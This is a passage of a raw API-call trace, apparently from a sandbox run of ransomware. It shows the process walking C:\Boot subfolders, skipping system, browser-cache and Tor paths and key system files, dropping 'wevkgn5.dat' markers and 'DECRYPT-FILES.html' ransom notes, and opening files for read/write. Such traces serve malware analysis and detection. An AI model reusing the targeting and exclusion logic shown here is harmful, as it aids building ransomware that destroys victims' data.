[0058.266] StrStrW (lpFirst="C:\\Boot\\ja-JP\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.266] StrStrW (lpFirst="C:\\Boot\\ja-JP\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.266] StrStrW (lpFirst="C:\\Boot\\ja-JP\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.266] StrStrW (lpFirst="C:\\Boot\\ja-JP\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.266] StrStrW (lpFirst="C:\\Boot\\ja-JP\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.266] StrStrW (lpFirst="C:\\Boot\\ja-JP\\", lpSrch="\\All Users") returned 0x0 [0058.267] lstrlenW (lpString="C:\\Boot\\ja-JP\\") returned 14 [0058.267] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.267] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\ja-JP\\\\wevkgn5.dat") returned 26 [0058.267] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\\\wevkgn5.dat" (normalized: "c:\\boot\\ja-jp\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x280 [0058.267] lstrlenW (lpString="C:\\Boot\\ja-JP\\") returned 14 [0058.267] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.267] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\ja-JP\\\\DECRYPT-FILES.html") returned 33 [0058.267] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\ja-jp\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0058.272] WriteFile (in: hFile=0x2f8, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.286] CloseHandle (hObject=0x2f8) returned 1 [0058.291] lstrlenW (lpString="C:\\Boot\\ja-JP\\") returned 14 [0058.292] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="*" | out: lpString1="C:\\Boot\\ja-JP\\*") returned="C:\\Boot\\ja-JP\\*" [0058.293] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88b13c50, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88b13c50, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.483] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.483] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88b13c50, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88b13c50, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.483] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.483] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.483] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.483] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.483] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.483] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.483] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.483] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.483] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.483] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.483] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.483] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.483] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.483] lstrlenW (lpString="C:\\Boot\\ja-JP\\") returned 14 [0058.483] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.483] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\ja-JP\\" | out: lpString1="C:\\Boot\\ja-JP\\") returned="C:\\Boot\\ja-JP\\" [0058.483] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="C:\\Boot\\ja-JP\\bootmgr.exe.mui" [0058.484] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.484] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.484] CloseHandle (hObject=0x0) returned 0 [0058.484] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.484] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88b13c50, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88b13c50, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88b39db0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.484] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.484] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88b13c50, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88b13c50, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88b13c50, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.484] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.484] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.484] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.484] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.484] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.484] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.484] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.484] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.484] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.484] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.485] lstrlenW (lpString="C:\\Boot\\ja-JP\\") returned 14 [0058.485] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.485] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\ja-JP\\" | out: lpString1="C:\\Boot\\ja-JP\\") returned="C:\\Boot\\ja-JP\\" [0058.485] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\ja-JP\\wevkgn5.dat") returned="C:\\Boot\\ja-JP\\wevkgn5.dat" [0058.485] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.485] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\wevkgn5.dat" (normalized: "c:\\boot\\ja-jp\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.485] CloseHandle (hObject=0x0) returned 0 [0058.485] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.485] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88b13c50, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88b13c50, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88b13c50, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.485] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.485] CloseHandle (hObject=0x280) returned 1 [0058.485] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0058.485] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0058.485] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0058.486] lstrcatW (in: lpString1="ko-KR", lpString2="\\" | out: lpString1="ko-KR\\") returned="ko-KR\\" [0058.486] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ko-KR\\" | out: lpString1="C:\\Boot\\ko-KR\\") returned="C:\\Boot\\ko-KR\\" [0058.486] StrStrW (lpFirst="C:\\Boot\\ko-KR\\", lpSrch=":\\Windows") returned 0x0 [0058.486] StrStrW (lpFirst="C:\\Boot\\ko-KR\\", lpSrch="\\Program Files") returned 0x0 [0058.486] StrStrW (lpFirst="C:\\Boot\\ko-KR\\", lpSrch="\\Games\\") returned 0x0 [0058.486] StrStrW (lpFirst="C:\\Boot\\ko-KR\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.486] StrStrW (lpFirst="C:\\Boot\\ko-KR\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.486] StrStrW (lpFirst="C:\\Boot\\ko-KR\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.486] StrStrW (lpFirst="C:\\Boot\\ko-KR\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.486] StrStrW (lpFirst="C:\\Boot\\ko-KR\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.486] StrStrW (lpFirst="C:\\Boot\\ko-KR\\", lpSrch="\\All Users") returned 0x0 [0058.486] lstrlenW (lpString="C:\\Boot\\ko-KR\\") returned 14 [0058.486] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.486] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\ko-KR\\\\wevkgn5.dat") returned 26 [0058.486] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\\\wevkgn5.dat" (normalized: "c:\\boot\\ko-kr\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x300 [0058.636] lstrlenW (lpString="C:\\Boot\\ko-KR\\") returned 14 [0058.636] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.636] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\ko-KR\\\\DECRYPT-FILES.html") returned 33 [0058.636] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\ko-kr\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.639] WriteFile (in: hFile=0x304, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.640] CloseHandle (hObject=0x304) returned 1 [0058.640] lstrlenW (lpString="C:\\Boot\\ko-KR\\") returned 14 [0058.640] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="*" | out: lpString1="C:\\Boot\\ko-KR\\*") returned="C:\\Boot\\ko-KR\\*" [0058.640] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88bf8490, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88bf8490, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.640] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.640] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88bf8490, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88bf8490, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.640] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.640] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.640] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.641] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.641] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.641] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.641] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.641] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.641] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.641] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.641] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.641] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.641] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.641] lstrlenW (lpString="C:\\Boot\\ko-KR\\") returned 14 [0058.641] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.641] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\ko-KR\\" | out: lpString1="C:\\Boot\\ko-KR\\") returned="C:\\Boot\\ko-KR\\" [0058.641] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="C:\\Boot\\ko-KR\\bootmgr.exe.mui" [0058.641] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.641] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.641] CloseHandle (hObject=0x0) returned 0 [0058.642] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.642] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88bf8490, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88bf8490, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88bf8490, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.642] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.642] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88bf8490, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88bf8490, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88bf8490, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.642] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.642] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.642] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.642] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.642] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.642] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.642] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.642] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.642] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.642] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.642] lstrlenW (lpString="C:\\Boot\\ko-KR\\") returned 14 [0058.642] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.642] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\ko-KR\\" | out: lpString1="C:\\Boot\\ko-KR\\") returned="C:\\Boot\\ko-KR\\" [0058.642] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\ko-KR\\wevkgn5.dat") returned="C:\\Boot\\ko-KR\\wevkgn5.dat" [0058.642] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.643] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\wevkgn5.dat" (normalized: "c:\\boot\\ko-kr\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.643] CloseHandle (hObject=0x0) returned 0 [0058.643] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.643] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88bf8490, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88bf8490, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88bf8490, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.643] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.643] CloseHandle (hObject=0x300) returned 1 [0058.643] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0058.643] lstrcmpiW (lpString1="memtest.exe", lpString2="DECRYPT-FILES.html") returned 1 [0058.643] lstrcmpiW (lpString1="memtest.exe", lpString2="autorun.inf") returned 1 [0058.644] lstrcmpiW (lpString1="memtest.exe", lpString2="boot.ini") returned 1 [0058.644] lstrcmpiW (lpString1="memtest.exe", lpString2="desktop.ini") returned 1 [0058.644] lstrcmpiW (lpString1="memtest.exe", lpString2="ntuser.dat") returned -1 [0058.644] lstrcmpiW (lpString1="memtest.exe", lpString2="iconcache.db") returned 1 [0058.644] lstrcmpiW (lpString1="memtest.exe", lpString2="bootsect.bak") returned 1 [0058.644] lstrcmpiW (lpString1="memtest.exe", lpString2="ntuser.dat.log") returned -1 [0058.644] lstrcmpiW (lpString1="memtest.exe", lpString2="thumbs.db") returned -1 [0058.644] lstrcmpiW (lpString1="memtest.exe", lpString2="Bootfont.bin") returned 1 [0058.644] lstrlenW (lpString="C:\\Boot\\") returned 8 [0058.644] lstrlenW (lpString="memtest.exe") returned 11 [0058.644] lstrcpyW (in: lpString1=0x321f268, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0058.644] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="memtest.exe" | out: lpString1="C:\\Boot\\memtest.exe") returned="C:\\Boot\\memtest.exe" [0058.644] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.644] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.644] CloseHandle (hObject=0x0) returned 0 [0058.644] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.645] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0058.645] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0058.645] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0058.645] lstrcatW (in: lpString1="nb-NO", lpString2="\\" | out: lpString1="nb-NO\\") returned="nb-NO\\" [0058.645] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nb-NO\\" | out: lpString1="C:\\Boot\\nb-NO\\") returned="C:\\Boot\\nb-NO\\" [0058.645] StrStrW (lpFirst="C:\\Boot\\nb-NO\\", lpSrch=":\\Windows") returned 0x0 [0058.645] StrStrW (lpFirst="C:\\Boot\\nb-NO\\", lpSrch="\\Program Files") returned 0x0 [0058.645] StrStrW (lpFirst="C:\\Boot\\nb-NO\\", lpSrch="\\Games\\") returned 0x0 [0058.645] StrStrW (lpFirst="C:\\Boot\\nb-NO\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.645] StrStrW (lpFirst="C:\\Boot\\nb-NO\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.645] StrStrW (lpFirst="C:\\Boot\\nb-NO\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.645] StrStrW (lpFirst="C:\\Boot\\nb-NO\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.645] StrStrW (lpFirst="C:\\Boot\\nb-NO\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.645] StrStrW (lpFirst="C:\\Boot\\nb-NO\\", lpSrch="\\All Users") returned 0x0 [0058.645] lstrlenW (lpString="C:\\Boot\\nb-NO\\") returned 14 [0058.645] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.645] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\nb-NO\\\\wevkgn5.dat") returned 26 [0058.645] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\\\wevkgn5.dat" (normalized: "c:\\boot\\nb-no\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x300 [0058.646] lstrlenW (lpString="C:\\Boot\\nb-NO\\") returned 14 [0058.646] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.646] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\nb-NO\\\\DECRYPT-FILES.html") returned 33 [0058.646] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\nb-no\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.646] WriteFile (in: hFile=0x304, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, 